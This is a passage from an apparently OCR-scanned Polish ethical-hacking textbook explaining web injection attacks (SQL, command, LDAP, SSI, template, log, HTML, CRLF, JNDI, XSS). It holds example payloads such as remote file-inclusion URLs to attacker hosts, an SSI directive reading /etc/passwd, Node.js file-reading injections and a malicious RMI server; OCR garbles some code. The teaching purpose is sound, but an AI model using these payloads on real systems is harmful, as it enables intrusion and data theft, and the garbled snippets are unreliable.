niezaufanych danych i wykonanie ich jako czesci polecenia lub zapytania. Atakujgcy wykorzystujg luki
wstrzykiwania, tworzac ztosliwe polecenia lub zapytania, ktére powodujg utrate lub uszkodzenie
danych, brak odpowiedzialnosci lub odmowe dostepu. Takie wady sg powszechne w starszym kodzie i
czesto mozna je znalez¢ w zapytaniach SQL, LDAP i XPath. Mozna je tatwo wykry¢ za pomoca skaneréw
podatnosci aplikacji i fuzzerow. Atakujacy wprowadzajg ztosliwy kod, polecenia lub skrypty do bramek
wejsciowych wadliwych aplikacji internetowych, tak aby aplikacje interpretowaty i uruchamiaty nowo
dostarczone ztosliwe dane wejsciowe, co z kolei umozliwia im wyodrebnianie poufnych informacji.
Wykorzystujac luki iniekcyjne w aplikacjach internetowych, osoby atakujgce mogg tatwo odczytywac,
zapisywac, usuwac i aktualizowac¢ dowolne dane (tj. istotne lub nieistotne dla danej aplikacji). Istnieje
wiele rodzajéw wad wtrysku, z ktdrych niektdre omdéwiono ponizej:

Wstrzykniecie SQL: Wstrzykniecie SQL jest najczestszg luka w zabezpieczeniach witryn internetowych
w Internecie i jest wykorzystywane do wykorzystania niezweryfikowanych luk w danych wejsciowych
do przekazywania polecen SQL przez aplikacje internetowg w celu wykonania przez baze danych
zaplecza. W tej technice atakujgcy wstrzykuje ztosliwe zapytania SQL do formularza wprowadzania
danych przez uzytkownika w celu uzyskania nieautoryzowanego dostepu do bazy danych lub pobrania
informacji bezposrednio z bazy danych.

Command Injection: Atakujgcy identyfikujg btad sprawdzania poprawnosci danych wejsciowych w
aplikacji i wykorzystujg luke, wprowadzajac ztosliwe polecenie do aplikacji w celu wykonania
dostarczonych dowolnych polecen w systemie operacyjnym hosta. Dlatego takie wady sg niezwykle
niebezpieczne.

Wstrzykiwanie LDAP: wstrzykiwanie LDAP to metoda ataku, w ktérej strony internetowe, ktére tworzg
instrukcje LDAP na podstawie danych wprowadzonych przez uzytkownika, sg wykorzystywane do
przeprowadzania atakow. Gdy aplikacji nie udaje sie oczysci¢ danych wprowadzonych przez
uzytkownika, osoba atakujgca modyfikuje instrukcje LDAP za pomocga lokalnego serwera proxy. To z
kolei skutkuje wykonywaniem dowolnych polecen, takich jak udzielanie dostepu nieautoryzowanym
zapytaniom i modyfikowanie zawartosci drzewa LDAP.

Skrypty miedzywitrynowe (XSS)

Wady XSS pojawiajg sie, gdy aplikacja zawiera niezaufane dane na nowej stronie internetowej bez
odpowiedniej weryfikacji lub zmiany znaczenia lub gdy aplikacja aktualizuje istniejacg strone
internetowg danymi dostarczonymi przez uzytkownika za pomocg interfejsu API przegladarki, ktéry
moze tworzy¢ JavaScript. XSS umozliwia atakujgcym wstrzykiwanie i wykonywanie skryptéw w
przegladarce ofiary, ktére mogg przejmowac sesje uzytkownikdéw, niszczy¢ strony internetowe lub
przekierowywac uzytkownika do ztosliwych stron.

Ataki typu SQL Injection

Ataki typu SQL injection wykorzystujg serie ztosliwych zapytan SQL lub instrukcji SQL w celu
bezposredniego manipulowania bazg danych. Aplikacje czesto uzywajg instrukcji SQL do
uwierzytelniania uzytkownikdéw, sprawdzania poprawnosci rél i poziomdéw dostepu, przechowywania i
pobierania informacji dla aplikacji i uzytkownika oraz faczenia z innymi zrédtami danych. Ataki typu
SQL injection dziatajg, poniewaz aplikacja nie sprawdza poprawnie danych wejsciowych przed
przekazaniem ich do instrukcji SQL. Rozwazmy na przykfad nastepujgcg instrukcje SQL:

SELECT * FROM tablename WHERE UserID= 2302

staje sie nastepujacy z prostym atakiem typu SQL injection:



SELECT * FROM tablename WHERE UserID= 2302 OR 1=1

Wyrazenie ,,OR 1=1" zwraca wartos¢ ,,TRUE”, czesto umozliwiajgc wyliczenie wszystkich wartosci ID
uzytkownika z bazy danych. Osoba atakujgca wykorzystuje podatng na ataki aplikacje internetowa, aby
omingé zwykte srodki bezpieczeristwa i uzyskac¢ bezposredni dostep do cennych danych. Atakujgcy
przeprowadzajg ataki typu SQL injection z paska adresu przegladarki internetowej, pdl formularzy,
zapytan, wyszukiwan itd. Ataki SQL injection umozliwiajg atakujgcym

* Zaloguj sie do aplikacji bez podawania prawidtowych poswiadczen

* Wykonuj zapytania na danych w bazie danych, czesto nawet na danych, do ktérych aplikacja
normalnie nie miataby dostepu

* Zmodyfikuj zawartos¢ bazy danych lub catkowicie usun baze danych

* Uzyj relacji zaufania ustanowionych miedzy komponentami aplikacji internetowej, aby uzyskac
dostep do innych baz danych

Uwaga: Petne omdwienie koncepcji i technik wstrzykiwania SQL zawiera Modut 15: Wstrzykiwanie SQL.
Ataki Command Injection

Luki wstrzykiwania polecenn umozliwiajg atakujgcym przekazywanie ztosliwego kodu do rdzinych
systemOéw za posrednictwem aplikacji internetowych. Ataki obejmuja wywotania systemu
operacyjnego za posrednictwem wywotan systemowych, uzycie programoéw zewnetrznych za
posrednictwem polecen powtoki oraz wywotania baz danych zaplecza za posrednictwem jezyka SQL.
Skrypty w jezykach Perl, zPython i innych wykonujg i wstawiajg Zle zaprojektowane aplikacje
internetowe. Jesli aplikacja internetowa korzysta z dowolnego typu interpretera, osoby atakujgce
wstawiajg ztosliwy kod w celu wyrzadzenia szkdd. Aby wykonywac rézne funkcje, aplikacje internetowe
muszg korzystac z funkcji systemu operacyjnego i programéw zewnetrznych. Chociaz wiele programéw
wywotuje sie z zewnatrz, czesto uzywanym programem jest program sendmail. Ostroznie przejrzyj
aplikacje przed przekazaniem informacji przez zewnetrzne zadanie HTTP. W przeciwnym razie osoby
atakujgce mogg wstawié¢ do informacji znaki specjalne, ztosliwe polecenia i modyfikatory polecen.
Nastepnie aplikacja internetowa $lepo przekazuje te znaki do zewnetrznego systemu w celu
wykonania. Wstawianie polecen SQL jest niebezpieczng i dos¢ powszechng praktyka, poniewaz jest to
metoda wstrzykiwania polecen. Ataki polegajgce na wstrzykiwaniu polecen sg tatwe do
przeprowadzenia i wykrycia, ale trudne do zrozumienia. Oto niektére rodzaje atakow polegajgcych na
wstrzykiwaniu polecen:

Witrysk powtoki
o Atakujacy prébuje spreparowac cigg wejsciowy, aby uzyskaé dostep powtoki do serwera sieciowego
o Funkcje wstrzykiwania powtoki obejmujg system(), StartProcess(), java.lang.Runtime.exec(),

System.Diagnostics.Process.Start() i podobne interfejsy API

Osadzanie HTML

o Ten typ ataku jest wykorzystywany do wirtualnego niszczenia stron internetowych. Za pomoca tego
ataku osoba atakujaca dodaje dodatkowg zawartos¢ opartg na kodzie HTML do podatne]j aplikacji
internetowej



o W ataku polegajgcym na osadzeniu kodu HTML dane wprowadzone przez uzytkownika do skryptu
internetowego sg umieszczane w wyjsciowym kodzie HTML bez sprawdzania kodu HTML lub skryptdéw

Wstrzykniecie pliku

o Atakujacy wykorzystuje te luke i wprowadza ztosliwy kod do plikéw systemowych
http://www.certifiedhacker.com/vulnerable.php?COLOR=http://evil/exploit?
Przyktad wstrzykiwania polecen

Osoba atakujgca wprowadza nastepujgcy ztosliwy kod (numer konta) z nowym hastem.
www.certifiedhacker.com/banner.gifl | newpassword| | 1036|60|468 .Dwa ostatnie zestawy liczb
okreslajg rozmiar banera. Gdy atakujgcy kliknie przycisk przesytania, hasto do konta 1036 zostanie
zmienione na ,nowe hasto”. Skrypt serwera zaktada, ze w tym polu wstawiany jest tylko adres URL
pliku obrazu banera.

Atak wstrzykiwania plikéw

Atak polegajagcy na wstrzykiwaniu plikéw to technika wykorzystywana do wykorzystywania
mechanizméw ,,dynamicznego dofaczania plikéw” w aplikacjach internetowych. Ataki polegajace na
wstrzykiwaniu plikéw umozliwiajg atakujgcym wykorzystanie wrazliwych skryptéw na serwerze w celu
uzycia pliku zdalnego zamiast przypuszczalnie zaufanego pliku z lokalnego systemu plikow. Wystepuje,
gdy uzytkownik moze dynamicznie wprowadza¢ dane wejsciowe dla polecenia dotfgczania, co nie jest
odpowiednio sprawdzane przed przetworzeniem. Gdy uzytkownik wprowadza dane, aplikacja
internetowa przekazuje je do polecen ,wiacz plik”. Wiekszosé platform aplikacji internetowych
obstuguje dofaczanie plikdw. W zwigzku z tym atakujgcy wprowadza adres URL, ktéry przekierowuje
aplikacje do lokalizacji ztosliwego pliku. Odwotujac sie do pliku bez odpowiedniej walidacji, aplikacja
wykonuje skrypt pliku wywotujgc okreslone procedury. Aplikacje internetowe sg podatne na ataki
polegajace na wstrzykiwaniu plikow, jesli przywotywane pliki sg przekazywane przy uzyciu elementéw
z zgdan HTTP. PHP jest szczegdlnie podatne na te ataki ze wzgledu na szerokie wykorzystanie
,zawierania plikow” w programowaniu PHP i domysinych konfiguracjach serwera. Jesli aplikacja koriczy
sie rozszerzeniem php, a uzytkownik tego zazada, aplikacja interpretuje to jako skrypt php i wykonuje.
Pozwala to atakujgcemu na wykonanie dowolnych polecen. Rozwaz nastepujgcy kod klienta dziatajacy
w przegladarce:

<form method="get">

<select name="DRINK">

<option value="pepsi">pepsi</option>
<option value="coke">coke</option>
</select>

<input type="submit">

</form>

Vulnerable PHP code:

<?php

Sdrink = 'coke'/



if (isset( $_GET['DRINK'] ) )
Sdrink = $_GET['DRINK'];
require( $drink . '.php');
>

Aby wykorzysta¢ podatny na ataki kod php, osoba atakujgca umieszcza zdalnie hostowany plik na
stronie www.jasoneval.com, ktéry zawiera exploita.

Kod exploita:
http://www.certifiedhacker.com/orders.php?DRINK=http://jasoneval.com/exploit?
Ataki iniekcyjne LDAP

Ustugi katalogowe LDAP przechowuja i organizujg informacje na podstawie ich atrybutéw. Informacje
sg zorganizowane hierarchicznie jako drzewo wpiséw w katalogu. Protokét LDAP (Lightweight
Directory Access Protocol) jest oparty na modelu klient-serwer, a klienci mogg przeszukiwac wpisy
katalogu za pomoca filtréw.

Atak typu LDAP injection dziata w taki sam sposdb jak atak typu SQL injection, ale wykorzystuje
parametry uzytkownika do wygenerowania zapytania LDAP. Dziata na protokole transportu
internetowego, takim jak TCP, i jest protokotem o otwartym standardzie stuzgcym do manipulowania
ustugami katalogowymi i wysytania do nich zapytan. Technika wstrzykiwania LDAP jest
wykorzystywana do wykorzystania luk w zabezpieczeniach danych wejsciowych niezweryfikowanych
aplikacji sieci Web w celu przepuszczania filtrow LDAP uzywanych do przeszukiwania ustug
katalogowych w celu uzyskania bezposredniego dostepu do baz danych za drzewem LDAP. Ataki LDAP
wykorzystujg aplikacje internetowe zbudowane na podstawie instrukcji LDAP przy uzyciu lokalnego
serwera proxy. Aplikacje internetowe mogg wykorzystywaé dane wejsciowe podane przez uzytkownika
do tworzenia niestandardowych instrukcji LDAP dla dynamicznych Zzadan stron internetowych.
Atakujgcy czesto przeprowadzajg ataki polegajgce na wstrzykiwaniu LDAP na aplikacje internetowe,
wykorzystujgc dane wejsciowe uzytkownika do generowania zapytan LDAP. Atakujacy mogg uzyc
atrybutéw filtru wyszukiwania, aby odkry¢ podstawowa strukture zapytan LDAP. Korzystajac z tej
struktury, osoba atakujgca dofgcza dodatkowe atrybuty do danych wejsciowych uzytkownika, aby
okresli¢, czy aplikacja jest podatna na wstrzykniecie LDAP, i ocenia dane wyjsciowe aplikacji
internetowej. W zaleznosci od implementacji celu atakujgcy wykorzystujg wstrzykiwanie LDAP w celu
osiggniecia:

Obejscie logowania
Ujawnienie informacji
Eskalacja uprawnien
Zmiana informacji
Przykfad:

Aby sprawdzié, czy aplikacja jest podatna na wstrzykniecie kodu LDAP, wyslij zapytanie do serwera
ktére generuje nieprawidtowe dane wejsciowe. Jesli serwer LDAP zwréci btad, mozna go wykorzystac
za pomocg kodu techniki wtrysku. Jesli atakujgcy wprowadzi prawidtiowg nazwe uzytkownika
,certifiedhacker” i wstrzyknie certyfikowany haker)(&)), wéwczas cigg adresu URL zmieni sie na
(&(USER=certifiedhacker)(&))(PASS=blah)). Serwer LDAP przetwarza tylko pierwszy filtr; przetwarzane



jest tylko zapytanie (&(USER=certifiedhacker)(&)). To zapytanie jest zawsze prawdziwe, a atakujacy
loguje sie do systemu bez waznego hasta. Wazng metodg obrony przed takimi atakami jest filtrowanie
wszystkich danych wejsciowych do LDAP; w przeciwnym razie luki w LDAP pozwalajg na wykonanie
nieautoryzowanych zapytan lub modyfikacje jego zawartosci. Gdy atakujacy modyfikuje instrukcje
LDAP, proces dziata z takimi samymi uprawnieniami, jak komponent aplikacji internetowej, ktéry
wykonat polecenie.

Inne ataki iniekcyjne
Niektore inne rodzaje atakdw iniekcyjnych omoéwiono ponize;j:
Wstrzykiwanie JS po stronie serwera

Iniekcje kodu JavaScript po stronie serwera to luki w zabezpieczeniach, ktdre ujawniajg sie, gdy
aplikacja integruje wartosci kontrolowane przez uzytkownika w cigg, ktéry interpreter kodu
dynamicznie weryfikuje. Atakujgcy wykorzystujg niewtasciwg weryfikacje danych uzytkownika i
przekazujg losowe wartosci w celu zmiany kodu, ktéry zostanie skompilowany i wykonany przez
serwer. Te luki w zabezpieczeniach umozliwiajg réwniez atakujgcym naruszenie funkcjonalnosci i
danych aplikacji hostowanych przez serwer. Atakujgcy moga réwniez wykorzystac serwer jako zrédto
do uruchomienia kolejnych atakujgcych w sieci docelowe;j.

Przyktad wstrzykniecia kodu JavaScript po stronie serwera:
Atakujacy mogg przeprowadzi¢ atak DoS, przekazujac polecenia do funkcji eval():
while(1)

To polecenie wymusza wykorzystanie przez petle zdarzen serwera petnego czasu procesora i ogranicza
mozliwos$¢ oceny dodatkowych danych wejsciowych do momentu ponownego zainicjowania procesu.
Atakujgcy mogg réwniez odczytywaé zawartos$é plikdéw z serwera. Nastepujgce polecenia moga
wyswietla¢ zawartos$¢ katalogdéw biezgcych i nadrzednych:

res.end(require('fs').readdirSync('.").toString())
res.end(require('fs').readdirSync('..").toString())

Po pobraniu nazw plikdw osoby atakujgce mogg przekazaé¢ nastepujgce polecenia, aby odczytaé
zawartos¢ pliku:

res.end(require('fs').readFileSync(filename))

Luke te mozna dalej wykorzystac, inicjujgc i uruchamiajgc ztosliwe pliki binarne przy uzyciu modutéw
fs i child_process

Wstrzykiwanie po stronie serwera

Uwzglednianie po stronie serwera to funkcja aplikacji, ktéra pomaga projektantom w automatycznym
generowaniu zawartosci strony internetowej bez koniecznosci recznego angazowania sie. Dyrektywy
# umozliwiajg programistom wykonanie tej czynnosci. Tymi dyrektywami mogg by¢ pliki, zmienne CGl,
polecenia powtoki itp. Po ocenie wszystkich dyrektyw HTML jest dostarczany do requestera.

Typowe dyrektywy obejmuja:
<! ttinclude virtual="/footer.html"

<!_#echo var="DATE_LOCAL"



Atakujacy przeprowadzajg ataki typu ,wstrzykniecie” po stronie serwera, aby przejac¢ kontrole nad
aplikacjami internetowymi zintegrowanymi z dyrektywami SSI. Taka aplikacja akceptuje zdalne
wprowadzanie danych przez uzytkownika i wykorzystuje je na stronie. Atakujgcy wykorzystujg te
funkcje i przekazujg ztosliwe dyrektywy SSI jako wartosci wejsciowe w celu wykonywania ztosliwych
dziatan, takich jak modyfikowanie i usuwanie plikdw serwera, uruchamianie polecei powtoki i
przejmowanie kontroli nad krytycznymi plikami, takimi jak ,,/etc/passwd”. Na przyktad osoby atakujgce
moga uzy¢ nastepujacej ztosliwej dyrektywy, ktdra skutkuje pobraniem danych z plikdw /etc/passwd,
poniewaz nie ma oceny danych wprowadzanych przez uzytkownika:

<!_#texec cmd="cat/etc/passwd" -->
Wstrzykiwanie szablonu po stronie serwera

Podczas tworzenia stron dynamicznych projektanci lub programisci uzywajg silnikéw szablondéw, aby
oddzieli¢ logike programowania od prezentacji danych. Dlatego zamiast przechowywaé kod, ktoéry
przyjmuje zadania i pobiera wymagane informacje z bazy danych i przekazuje je uzytkownikom w
monolitycznym pliku danych, stosuje sie silniki szablonéw do oddzielenia prezentacji danych od
pozostatego kodu, ktéry je ocenia. Wstrzykiwanie szablonu po stronie serwera ma miejsce, gdy
uzytkownicy mogg wstawiac niebezpieczne dane wejsciowe

do szablonu po stronie serwera. Kiedy ta luka istnieje, osoby atakujgce mogg wstrzykna¢ dyrektywy
ztosliwego szablonu, aby uruchomi¢ dowolny kod i uzyskaé¢ petng kontrole nad docelowym serwerem
WWW. To wstrzykniecie jest podobne do XSS, ale jest czesto wykorzystywane do atakowania
wewnetrznych elementdw serwera i zdalnego wykonywania kodu, dzieki czemu kazda podatna na
ataki aplikacja jest gtdwnym celem. Wstrzykniecie szablonu objawia sie poprzez btedy w kodzie
projektantéw i celowe ujawnienie szablonu, jednoczesnie prezentujgc bogate funkcje aplikacji, blogow
itp. Rozwazmy na przyktad nastepujgcy ztozony kod PHP i FITML:

<html>

<head>

<title>{{title}}</title>

</head>

<body>

<form method = "{{method}}" action = "{{action}}">
<input type = "text" name = "user" value = "{{username}}">
<input type = "password" name = "pwd" value ="">
<button type = "submit">Submit</button>
</form>

<p> This page took {{microtime(true)

render. </p>

</body>

</html>



Zastgp powyzszy kod za pomocg silnikéw szablonéw w nastepujacy sposéb:
StemplateEngine = new TemplateEngine();

Stemplate = StemplateEngine -> loadFile ('SignUp.tpl');

Stemplate -> assign('title’, 'login');

Stemplate -> assign('method’, 'post');

Stemplate -> assign('action' 'SingUp.php');

Stemplate -> assign('username’, getUsernameFromCookie());

Stemplate -> assign('time', microtime(true));

Stemplate -> show();

Powyzszy kod jest podatny na wstrzykniecie szablonu, poniewaz moze wykonywaé natywne funkcje.
Jesli osoby atakujgce sg w stanie dotgczy¢ pliki szablonéw z takimi wyrazeniami, mogg uruchomié
dowolng dowolng funkcje w celu uzyskania dostepu do docelowego serwera WWW.

Wstrzykiwanie dziennika

Atakujacy przeprowadzajg ataki polegajgce na wstrzyknieciu dziennika, wykorzystujgc nieoczyszczone
lub niezweryfikowane dane wejsciowe do dziennikéow aplikacji. Aplikacje zwykle przechowujg duzg
liczbe dziennikdw, takich jak dzienniki dostepu, dzienniki transakcji, dzienniki monitorowania, dzienniki
wyjatkow lub bteddéw, dzienniki GC i dzienniki awarii. Jesli aplikacja lub jej administrator nie rejestruje
zdarzen lub dziatan uzytkownikdéw w bezpieczny sposdb, osoby atakujgce mogg wprowadzi¢ fatszywe
wpisy lub rekordy, aby uszkodzi¢ plik dziennika. Atakujgcy wykorzystujg te technike do umieszczania
wprowadzajgcych w btad informacji w pliku dziennika w celu zatarcia $ladéw w przypadku udanego
ataku. Rozwazmy na przyktad aplikacje, ktdra rejestruje dane w nastepujacym formacie:

Date, Time, Username, ID, source IP, Request

Niezweryfikowane parametry wejsciowe pochodzg bezposrednio z zgdania

Cookie: PHPSESSID=pltmplobqgfig09bs9gfeersju3; username:

xyz; id=Walkin

Atakujgcy mogg manipulowad parametrem id, aby zapisa¢ dziennik z fatszywymi danymi wejsciowymi:
Cookie: PHPSESSID=pltmplobqgfig09bs9gfeersju3; username:

xyz; id=\r\n (Fake input)

Jesli w dzienniku nie uda sie uciec przed bajtami zerowymi, pozostata cze$é ciggu nie zostanie
zarejestrowana.

Na przyktad,

Cookie: PHPSESSID=pltmplobqfig09bs9gfeersju3; username:
xyz; id=%00

Pojedynczy wpis dziennika mozna zablokowa¢ w polu id

Date, Time, Username, ....



Wstrzykniecie HTML

Atak polegajacy na wstrzyknieciu kodu HTML jest inicjowany przez wstrzykniecie kodu FITML za
posrednictwem wrazliwych danych wejsciowych formularza strony internetowej w celu zmiany
wygladu strony internetowej lub informacji przekazywanych jej uzytkownikom. Rézni sie od atakéw
polegajgcych na wstrzykiwaniu skryptéw JavaScript i VB. FITML jest podstawowym jezykiem uzywanym
do projektowania stron internetowych i jest czesto celem atakujgcych w celu zmiany jego
funkcjonalnosci i oryginalnego wygladu. Jesli atakujgcemu uda sie wstrzykngé kod HTML, legalni
uzytkownicy mogg zosta¢ odwrdceni od zamierzonej dziatalnosci. Na przyktad wstrzykniecie kodu
HTML umozliwia atakujgcemu utworzenie ztosliwego formularza, ktéry wydaje sie autentyczny dla
uzytkownikéw koncowych. Prosi uzytkownikéw o ponowne wprowadzenie swoich poswiadczen. Po
przestaniu formularza z poswiadczeniami nastepuje eksfiltracja informacji do atakujgcego.

Przyktad: Ogélny szablon aplikacji dla strony wynikéw wyszukiwania:
<html>

<hl> Results matching the given query: </hl>

<h2> {user query} </h2>

<ol> <li> Result A

<li> Result B </ol>

</html>

Zapytanie uzytkownika:

</h2>special offer <a
href=www.certifiedhacker.com>malicious link </a>h2>
Strona wynikowa po wstrzyknieciu kodu HTML:

<html>

<hl> Results matching the given query: </hl>

<h2></h2> special offer <a
href=www.certifiedhacker.com>malicious link</a><h2></h2>
<ol> <li> Result A

<li> Result B </ol>

</html>

Atakujgcy zamierza jednak umiesci¢ kod HTML na stronie odwiedzanej przez innych uzytkownikéw. W
tym celu wstrzykniecie kodu powinno znalez¢ sie w tresci strony przeznaczonej do przegladania przez
uzytkownikéw koricowych. Wstrzykniecie ma miejsce, gdy aplikacje zapisuja dane wprowadzane przez
niezaufanych uzytkownikéw i ujawniajg dane innym uzytkownikom. Zatéimy na przyktad, ze
wspomniana aplikacja sktada sie ze strony pokazujgcej historie wyszukiwania uzytkownikéw: Fragment
kodu (szablon aplikacji) dla strony historii wyszukiwania

<html>



<hl> Recent search history: </hl>

<ol> <li><h2> {user_query_I} </h2>

<li><h2> {user_query_2} </h2> </ol>

</html>

Wynikowa strona historii wyszukiwania po wstrzyknieciu kodu HTML
<html>

<hl> Recent search history: </hl>

<ol>

<li>h2> Top 10 thriller movies </h2>

<li><h2></h2> special offer <a
href=www.certifiedhacker.com> malicious link</a><h2></h2>
</ol> </html>

Teraz kazdy link do wyniku wyszukiwania, do ktérego uzytkownik prébuje uzyska¢ dostep, wyswietli
ztosliwy link wygenerowany przez atakujgcego. Jesli jakikolwiek uzytkownik zostanie przyciggniety do
tacza i otworzy go, bedzie przegladat zawartosé wygenerowang z domeny atakujgcego, a wszelkie dane
uwierzytelniajgce wprowadzone na tej stronie zostang wyeksfiltrowane do atakujgcego.

Wstrzykniecie CRLF

W ataku wstrzykiwania znaku powrotu karetki (CRLF) atakujacy wprowadzajg znaki powrotu karetki
(\r) i nowego wiersza (\n) do danych wejsciowych uzytkownika, aby oszuka¢ serwer WWW, aplikacje
internetowg lub uzytkownika, aby uwierzyt, ze biezgcy obiekt jest zostat zakoriczony i zainicjowany
zostat nowy obiekt. Wstrzykiwanie CRLF to luka, ktéra objawia sie, gdy uzytkownik wprowadza znaki
CRLF do aplikacji. Znaki te oznaczajg koniec linii dla réznych protokotéw internetowych, co w
potgczeniu z nagtéwkami zgdan/odpowiedzi FITTP moze prowadzi¢ do réznych luk w zabezpieczeniach,
takich jak przemycanie zgdan HTTP i dzielenie odpowiedzi.

Przemyt zgdania HTTP moze wystapic¢, gdy zadanie HTTP jest przesytane przez serwer, ktory stuzy jako
serwer proxy do sprawdzania poprawnosci i przekazywania zgdania do nastepnego serwera. Takie luki
w zabezpieczeniach mogg réwniez prowadzi¢ do dalszych atakdéw, takich jak zatruwanie pamieci
podrecznej, naruszenie zabezpieczen zapory ogniowej i przejmowanie zadan. W przypadku podziatu
odpowiedzi HTTP atakujacy mogga dotaczy¢ dowolne nagtéwki HTTP do odpowiedzi HTTP, aby podzieli¢
odpowiedz i tres¢. Skutkuje to dostarczeniem dwdch odpowiedzi zamiast jednej, co moze prowadzié
do dalszych podatnosci, takich jak cross-site scripting. Rozwaz nastepujacy przyktad wstrzykiwania
CRLF do plikéw dziennika:

Zatdzmy, ze panel administracyjny ma plik dziennika z czasem IP i sciezkg URL odwiedzanej witryny w
nastepujacy sposob:

10.10. 10.10 09:25 - /index.php?page=0

Jesli osoba atakujgca moze osadzi¢ znaki CRLF w zadaniu HTTP, moze zmieni¢ przeptyw danych
wyjsciowych i wprowadzi¢ fatszywe wpisy dziennika. Ponadto osoba atakujgca moze zmienié
odpowiedz aplikacji internetowej w nastepujgcy sposdb:



/index.php?page=about&%0d%0al27.0.0.1
/index.php?page=o0&restrictedaction=edytuj

Tutaj %0d i %0a to znaki zakodowane CR i LF. Po wstrzyknieciu znakéw CRLF wpisy dziennika wygladaja
nastepujgco:

10.10.10.10

09:25-

09:25 - /index.php?page=0&

09:25
/index.php?page=home&restrictedaction=edytuj

Atakujgcy wykorzystujg luki w zabezpieczeniach zwigzane z wtryskiem CRLF do manipulowania
wpisami dziennika w celu ukrycia ztosliwych dziatan.

127.0.0.1
Wtrysk JNDI

Java Naming and Directory Interface (JNDI) to oparty na Javie interfejs API, ktéry pobiera pojedynczy
parametr jako dane wejsciowe i wyszukuje zgdany obiekt na podstawie okreslonej nazwy. Wyszukuje
obiekty w ustugach katalogowych, takich jak Common Object Request Broker Architecture (CORBA),
LDAP, DNS lub Remote Method Invocation (RMI). Jesli parametr znajduje sie w ztosliwych ustugach
zarzadzanych przez osoby atakujgce, aplikacja pobiera szkodliwy obiekt klasy z serwera, co prowadzi
do zdalnego wykonania kodu i ostatecznie do ztamania zabezpieczen aplikacji. Atakujgcy wykorzystujg
te Iluke w docelowej aplikacji Java, rozwigzujagc Zzadania atrybutéw ,classFactory” i
,ClassFactorylLocation” wystane przy uzyciu , InitialContext().lookup(name)” ze ztosliwg klasg. Jesli w
odpowiedzi na zadang nazwe obiektu zostanie wystana klasa ztosliwego obiektu o tej samej nazwie,
ktora jest przechowywana na serwerach atakujacych, aplikacja Java pobiera ten kod i wykonuje go, co
prowadzi do zdalnego wykonania kodu. Jesli nazwa obiektu ,,classFactory” nie zostanie znaleziona na
serwerze, aplikacja Java pobiera kod, rozwigzujgc ,classFactorylLocation”, ktory jest adresem URL.
Ponizej znajduje sie przyktadowy kod aplikacji podatnej na ataki, ktéra umozliwia wstrzykniecie JNDI:

@RequestMapping("/lookup")

@Example(uri = {"/lookup?name=java:comp/env"})

public Object lookup(@RequestParam String name) throws

Exception{

return new javax.naming.InitialContext().lookup(name);

}

Ponizszy przyktadowy kod pobiera kod bajtowy ze ztosliwego adresu URL:
public class MaliciousRMIServer {

public static void main(String[] args) throws Exception

{



System.out.printIn("Creating malicious RMI registry on
port 1097");

Registry myregistry =
LocateRegistry.createRegistry(1097);

Reference reff = new
javax.naming.Reference("ExportObject","ExportObject"”,"
http://www.certifiedhacker.com/");
ReferenceWrapper referenceWrap = new
com.sun.jndi.rmi.registry.ReferenceWrapper(reff);
myregistry.bind("Object", referenceWrap);

}

}

Ataki typu Cross-Site Scripting (XSS).

Ataki typu cross-site scripting (XSS lub CSS) wykorzystuja luki w zabezpieczeniach dynamicznie
generowanych stron internetowych, co umozliwia ztosliwym atakujgcym wstrzykniecie skryptu po
stronie klienta do stron internetowych przegladanych przez innych uzytkownikéw. Takie ataki majg
miejsce, gdy uniewaznione dane wejsciowe sg zawarte w zawartosci dynamicznej, ktéra jest wysytana
do przegladarki internetowej uzytkownika w celu renderowania. Atakujgcy wprowadzajg ztosliwy kod
JavaScript, VBScript, ActiveX, HTML lub Flash w celu wykonania w systemie ofiary, ukrywajac go w
uzasadnionych zadaniach. Atakujgcy omijajg mechanizmy bezpieczeristwa oparte na identyfikatorze
klienta, uzyskuja uprawnienia dostepu, a nastepnie umieszczajg ztosliwe skrypty na okreslonych
stronach internetowych. Te ztosliwe skrypty mogg nawet przepisa¢ zawartos¢ witryny HTML.

Niektore exploity, ktére mogg by¢ wykonywane przez ataki XSS, sg nastepujace:
Przejecie sesji

tamanie haset metodg brute-force

Kradziez danych

Sondowanie w intranecie

Rejestrowanie klawiszy i zdalny monitoring

Wykonanie ztosliwego skryptu

Przekierowanie na ztosliwy serwer

Wykorzystywanie uprawnien uzytkownika

Reklamy w ukrytych ramkach IFRAM i wyskakujgcych okienkach
Manipulacja danymi

Jak dziatajg ataki XSS



Strona internetowa sktada sie ze znacznikéw tekstowych i HTML tworzonych przez serwer i
uzyskiwanych przez przegladarke klienta. Serwery mogg kontrolowac interpretacje klienta dotyczaca
stron generowanych statycznie, ale nie mogg catkowicie kontrolowac interpretacji klienta dotyczacej
danych wyjsciowych strony generowanej dynamicznie przez serwery. Tak wiec, jesli atakujgcy umiesci
niezaufang zawartos¢ na dynamicznej stronie, ani serwer, ani klient jej nie rozpoznajg. Niezaufane
dane wejsciowe mogg pochodzi¢ z parametréw adreséw URL, elementéw formularzy, plikéw cookie,
zapytan do bazy danych i tak dalej. Jesli dane dynamiczne wstawione przez serwer WWW zawierajg
znaki specjalne, przegladarka internetowa uzytkownika pomyli je ze znacznikami HTML, poniewaz
traktuje niektdre znaki jako specjalne w celu odrdéznienia tekstu od znacznikéw. W ten sposdb
atakujacy moze wybraé¢ dane wstawiane do generowanej strony i wprowadzi¢ w btad przegladarke
uzytkownika, aby uruchomita skrypt atakujgcego. Poniewaz ztosliwe skrypty bedg wykonywane w
kontekscie bezpieczenstwa przegladarki w celu komunikacji z legalnym serwerem internetowym,
osoba atakujaca bedzie miata petny dostep do pobranego dokumentu i bedzie mogta przestaé dane ze
strony z powrotem do swojej witryny.

Uwaga: Sprawdz Narzedzia CEH, Modut 14: Hakowanie aplikacji internetowych, aby znalez¢ $ciggawke
XSS.

Scenariusz ataku Cross-Site Scripting: Atak za posrednictwem poczty e-mail

W ataku typu cross-site scripting z wykorzystaniem wiadomosci e-mail osoba atakujgca tworzy
wiadomos¢ e-mail zawierajgca tgcze do ztosliwego skryptu i wysyta jg do ofiary, zachecajac ofiare do
klikniecia tgcza zawierajgcego ztosliwy skrypt/zapytanie. Na przyktad, jesli atakujacy znajdzie luke w
zabezpieczeniach zwigzang z cross-site scripting w witrynie bank.com, tworzy tgcze osadzone w
ztosliwym skrypcie, takim jak

<A HREF=http://bank.com/registration.cgi?clientprofile=<SCRIPT>ztosliwy kod</
SCRIPT>Kliknij tutaj</A>

i wysyta wiadomos¢ e-mail do uzytkownika docelowego. Gdy uzytkownik kliknie odsytacz, adres URL
jest wysytany do strony bank.com ze ztosliwym kodem. Prawdziwy serwer obstugujacy witryne
